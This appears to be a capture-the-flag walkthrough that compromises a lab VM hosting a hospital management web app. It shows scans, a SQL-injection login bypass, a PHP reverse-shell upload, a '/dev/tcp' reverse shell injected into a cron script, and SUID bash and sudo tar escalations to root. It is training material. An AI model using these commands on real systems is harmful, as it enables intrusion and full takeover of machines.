

```

> cat version -l python -p
# Nmap 7.95 scan initiated Tue Mar 11 08:49:35 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p21,22,7080 -oN version 10.0.2.62
Nmap scan report for 10.0.2.62
Host is up (0.00065s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to ::ffff:10.0.2.15
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_At session startup, client count was 2
|_vsFTPD 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
|_ssh-hostkey:
|_2048 3c:fc:ed:dc:9b:b3:24:ff:2e:c3:51:f8:33:20:78:40 (RSA)
|_256 91:5e:81:68:73:68:65:ec:a2:de:27:19:c6:82:86:a9 (ECDSA)
|_256 a7:eb:f6:a2:c6:63:54:e1:f5:18:53:fc:c3:e1:b2:28 (ED25519)
7080/tcp  open  http     Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)
|_http-title: Admin Panel
|_Requested resource was login.php
|_http-server-header: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1
|_http-cookie-flags:
|_/:
|_PHPSESSID:
|_httponly flag not set
MAC Address: 08:00:27:0F:EB:DE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 11 08:49:52 2025 -- 1 IP address (1 host up) scanned in 16.97 seconds

```

```

> dirb http://10.0.2.62:7080

-----
DIRB v2.22
By The Dark Raver
-----

START_TIME: Tue Mar 11 09:10:28 2025
URL_BASE: http://10.0.2.62:7080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----

GENERATED WORDS: 4612

---- Scanning URL: http://10.0.2.62:7080/ ----
+ http://10.0.2.62:7080/cgi-bin/ (CODE:403|SIZE:1032)
==> DIRECTORY: http://10.0.2.62:7080/files/
+ http://10.0.2.62:7080/index.php (CODE:302|SIZE:14041)
==> DIRECTORY: http://10.0.2.62:7080/pages/
+ http://10.0.2.62:7080/phpmyadmin (CODE:403|SIZE:1187)

---- Entering directory: http://10.0.2.62:7080/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.0.2.62:7080/pages/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

-----

END_TIME: Tue Mar 11 09:10:37 2025
DOWNLOADED: 4612 - FOUND: 3

```

```

<input class="form-control" type="email" name="email" required="" placeholder="Email">
<input class="form-control" type="password" name="password" required="" placeholder="Password">
<input class="form-control" type="text" name="name" required="" placeholder="Name">
<input class="form-control" type="text" name="email" required="" placeholder="Email">

```

Firefox Default GTFOBins Nessus

Hospital management system

Navigation

- Dashboard
- Appointment
- Doctors
- Patients
- Service

1 Total

¿Guardar la contraseña para http://10.0.2.62:7080?

Nombre de usuario
admin' or 1=1--

Contraseña
•••••

☐ Mostrar contraseña

Ahora no

Appointment

4

```
> gobuster dir -u http://10.0.2.62:7080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,html,js,xml -t 200
```


```
Starting gobuster in directory enumeration mode
=====
/login.php      (Status: 200) [Size: 4087]
/files         (Status: 301) [Size: 236] [--> http://10.0.2.62:7080/files/]
/header.php    (Status: 200) [Size: 4924]
/signup.php    (Status: 200) [Size: 6514]
/pages        (Status: 301) [Size: 236] [--> http://10.0.2.62:7080/pages/]
/profile.php   (Status: 302) [Size: 13736] [--> login.php]
/footer.php    (Status: 200) [Size: 1783]
/test.php     (Status: 200) [Size: 6]
/index.php    (Status: 302) [Size: 14041] [--> login.php]
/logout.php   (Status: 200) [Size: 48]
/head.php    (Status: 200) [Size: 1741]
/connect.php (Status: 200) [Size: 1]
/.html       (Status: 403) [Size: 1018]
/sidebar.php (Status: 200) [Size: 2238]
/forgot_password.php (Status: 200) [Size: 5614]
/department.php (Status: 302) [Size: 13653] [--> login.php]
/medicine.php  (Status: 302) [Size: 13972] [--> login.php]
/doctor.php   (Status: 302) [Size: 16844] [--> login.php]
/phpmyadmin   (Status: 403) [Size: 1187]
/treatment.php (Status: 302) [Size: 13963] [--> login.php]
/patient.php  (Status: 302) [Size: 18076] [--> login.php]
/appointment.php (Status: 302) [Size: 16267] [--> login.php]
/.html       (Status: 403) [Size: 1018]
/setting.php  (Status: 302) [Size: 16372] [--> login.php]
/changepassword.php (Status: 302) [Size: 13858] [--> login.php]
Progress: 525984 / 525990 (100.00%)
=====
Finished
```

10.0.2.62:7080/setting.php

SonarQube CCNA OTW HMVM DL THL R-M THM PS HTB

Maharashtra, India

body p

Currency Symbol	<input type="text" value="\$"/>	Currency Position	<input type="text" value="Right"/>
Enable Front End	<input type="text" value="No"/>	Date Format	<input type="text" value="Y-m-d"/>
Default Tax	<input type="text" value="0.20"/>	Company Logo	

No se ha seleccionado ningún archivo.

```
> nc -lvnp 1234
listening on [any] 1234 ...
```

php-reverse-shell.php 5.5 kB Programa 25 ene

php-reverse-shell.php

```
> nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.62] 46638
Linux nivek 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
17:00:53 up 1:15, 0 users, load average: 0.00, 2.53, 21.35
USER      TTY      FROM          LOGIN@  IDLE   JCPU   PCPU   WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ |
```

```
bash-4.3$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
nivek:x:1000:1000:nivek,,,:/home/nivek:/bin/bash
```

```

bash-4.3$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5 * * * * eren /home/eren/backup.sh

```

```

bash-4.3$ cp /home/eren/backup.sh /tmp
bash-4.3$ cd /tmp
bash-4.3$ ls -la
total 36
drwxrwxrwt  8 root   root   4096 Mar 11 17:06 .
drwxr-xr-x 23 root   root   4096 Mar 11 15:50 ..
-rwxr-xr-x  1 daemon daemon 95 Mar 11 17:06 backup.sh
drwxrwxrwt  2 root   root   4096 Mar 11 15:45 .font-unix
drwxrwxrwt  2 root   root   4096 Mar 11 15:45 .ICE-unix
drwx----- 3 root   root   4096 Mar 11 15:49 systemd-private-
drwxrwxrwt  2 root   root   4096 Mar 11 15:45 .Test-unix
drwxrwxrwt  2 root   root   4096 Mar 11 15:45 .X11-unix
drwxrwxrwt  2 root   root   4096 Mar 11 15:45 .XIM-unix
bash-4.3$ cat backup.sh
#!/bin/bash
BACKUP_DIR="/home/eren/backups"
tar -zcvpf $BACKUP_DIR/backup.tar.gz /var/www/html

```

```

daemon@nivek:/$ find / -perm -4000 2>/dev/null
/bin/ping
/bin/mount
/bin/fusermount
/bin/su
/bin/ping6
/bin/umount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/bash
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/lib/eject/dmccrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/opt/lampp/bin/suexec

```

```

daemon@nivek:/$ /usr/bin/bash -p
bash-4.3$ |

```

```

bash-4.3$ cd /home/eren
bash-4.3$ ls -la
total 40
drwx-----x 4 eren eren   4096 Jul 26 2021 .
drwxr-xr-x  4 root root   4096 Jul 26 2021 ..
drwxr-xr-x  2 eren eren   4096 Jul 26 2021 backups
-rwxr-xr-x  1 eren daemon 95 Jul 26 2021 backup.sh
-rw-----  1 eren eren    1 Jul 26 2021 .bash_history
-rw-r--r--  1 eren eren   220 Sep  1 2015 .bash_logout
-rw-r--r--  1 eren eren  3786 Jul 26 2021 .bashrc
drwxrwxr-x  2 eren eren   4096 Jul 26 2021 .nano
-rw-r--r--  1 eren eren   675 Sep  1 2015 .profile
-rw-rw-r--  1 eren eren    66 Jul 26 2021 .selected_editor

```

GNU nano 2.5.3

File: backup.sh

```

#!/bin/bash
BACKUP_DIR="/home/eren/backups"
tar -zcvpf $BACKUP_DIR/backup.tar.gz /var/www/html
bash -i >& /dev/tcp/10.0.2.15/4444 0>&1

```

```

> nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.62] 35346
bash: cannot set terminal process group (20846): Inappropriate ioctl for device
bash: no job control in this shell
eren@nivek:~$ |
eren@nivek:~$ sudo -l
sudo -l
Matching Defaults entries for eren on nivek:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User eren may run the following commands on nivek:
    (root) NOPASSWD: /bin/tar

```

| Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

```

eren@nivek:~$ sudo /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
/bin/tar: Removing leading '/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cd /root
# ls
Desktop Documents Downloads Music Pictures Public root.txt Templates Videos
# cat root.txt
299c10117c1940f21b70a391ca125c5d

```